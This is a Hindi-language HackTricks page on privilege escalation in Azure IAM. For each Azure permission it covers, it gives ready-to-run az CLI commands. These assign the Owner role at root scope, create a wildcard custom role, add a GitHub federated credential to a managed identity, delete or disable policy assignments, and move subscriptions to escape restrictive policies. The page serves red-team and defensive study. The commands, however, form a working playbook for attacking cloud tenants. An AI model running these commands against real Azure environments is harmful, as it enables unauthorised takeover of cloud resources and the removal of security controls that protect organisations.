Az - Azure IAM Privesc (Authorization)

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Azure IAM

अधिक जानकारी के लिए देखें:

Az - Entra ID (AzureAD) & Azure IAM

Microsoft.Authorization/roleAssignments/write

यह permission किसी विशेष scope पर principals को roles असाइन करने की अनुमति देता है, जिससे attacker खुद को अधिक privileged role असाइन करके privileges escalate कर सकता है:

# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"

Microsoft.Authorization/roleDefinitions/Write

यह Microsoft.Authorization/roleDefinitions/Write permission किसी role को दिए गए permissions को संशोधित करने की अनुमति देता है, जिससे एक attacker उस role को और अधिक permissions देकर privileges escalate कर सकता है जिसे उसने assign किया हुआ है।

Create the file role.json with the following content:

{
"roleName": "<name of the role>",
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"],
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
}

फिर पिछली परिभाषा को कॉल करके role permissions अपडेट करें:

az role definition update --role-definition role.json

Microsoft.Authorization/elevateAccess/action

यह permission विशेषाधिकार बढ़ाने और किसी भी principal को Azure resources पर permissions असाइन करने में सक्षम बनाता है। इसे Entra ID Global Administrators को दिया जाना चाहिए ताकि वे Azure resources पर permissions भी प्रबंधित कर सकें।

Tip

मुझे लगता है कि उपयोगकर्ता को elevate कॉल काम करने के लिए Entrad ID में Global Administrator होना चाहिए।

# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"

# Grant a user the Owner role
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"

Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write

यह अनुमति managed identities में Federated credentials जोड़ने की अनुमति देती है। उदाहरण के लिए, किसी repo में Github Actions को एक managed identity को एक्सेस देने के लिए। इससे यह किसी भी उपयोगकर्ता-परिभाषित managed identity तक पहुंच की अनुमति देता है।

Github के एक repo को किसी managed identity को एक्सेस देने के लिए उदाहरण कमांड:

# Generic example:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'

# Example with specific data:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'

Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete

यदि किसी attacker के पास Microsoft.Authorization/policyAssignments/write या Microsoft.Authorization/policyAssignments/delete अनुमति किसी management group, subscription, या resource group पर है, तो वह Azure policy assignments को संशोधित या हटाना कर सकता है, जिससे संभावित रूप से उन विशिष्ट ऑपरेशनों को रोकने वाले सुरक्षा प्रतिबंधों को निष्क्रिय किया जा सकता है

इससे पहले नीति द्वारा संरक्षित संसाधनों या फंक्शनैलिटी तक पहुंच संभव हो जाती है।

नीति असाइनमेंट हटाएँ:

az policy assignment delete \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

एक policy assignment अक्षम करें:

az policy assignment update \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
--enforcement-mode Disabled

परिवर्तनों की पुष्टि करें:

# List policy assignments
az policy assignment list \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

# Show specific policy assignment details
az policy assignment show \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

Microsoft.Authorization/policyDefinitions/write

An attacker के पास Microsoft.Authorization/policyDefinitions/write permission होने पर वह Azure नीति परिभाषाओं को संशोधित कर सकता है, जिससे पूरे वातावरण में सुरक्षा प्रतिबंधों को नियंत्रित करने वाले नियम बदल जाते हैं।

उदाहरण के लिए, कोई नीति जो संसाधन बनाने के लिए अनुमत क्षेत्रों को सीमित करती है, उसे यह बदलकर किसी भी क्षेत्र की अनुमति देने वाला बनाया जा सकता है, या नीति प्रभाव बदलकर उसे अप्रभावी किया जा सकता है।

नीति परिभाषा संशोधित करें:

az policy definition update \
--name "<policyDefinitionName>" \
--rules @updated-policy-rules.json

परिवर्तनों की पुष्टि करें:

az policy definition list --output table

az policy definition show --name "<policyDefinitionName>"

Microsoft.Management/managementGroups/write

Microsoft.Management/managementGroups/write अनुमति वाले हमलावर management groups की पदानुक्रमिक संरचना को बदल सकता है या नए management groups बना सकता है, जिससे ऊपरी स्तरों पर लागू सख्त नीतियों से बचा जा सकता है।

उदाहरण के लिए, हमलावर बिना सख्त नीतियों के एक नया management group बना सकता है और फिर subscriptions को उसमें स्थानांतरित कर सकता है।

नया management group बनाएं:

az account management-group create \
--name "yourMGname" \
--display-name "yourMGDisplayName"

प्रबंधन समूह के पदानुक्रम को संशोधित करें:

az account management-group update \
--name "<managementGroupId>" \
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"

परिवर्तनों की पुष्टि करें:

az account management-group list --output table

az account management-group show \
--name "<managementGroupId>" \
--expand

Microsoft.Management/managementGroups/subscriptions/write

इस अनुमति Microsoft.Management/managementGroups/subscriptions/write वाले हमलावर के पास subscriptions को management groups के बीच move करने की क्षमता होती है, जिससे वह एक subscription को कम प्रतिबंधात्मक या बिना नीतियों वाले ग्रुप में स्थानांतरित करके संभावित रूप से प्रतिबंधात्मक नीतियों से बच सकता है

किसी subscription को किसी दूसरे management group में स्थानांतरित करें:

az account management-group subscription add \
--name "<managementGroupName>" \
--subscription "<subscriptionId>"

परिवर्तनों को सत्यापित करें:

az account management-group subscription show \
--name "<managementGroupId>" \
--subscription "<subscriptionId>"

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें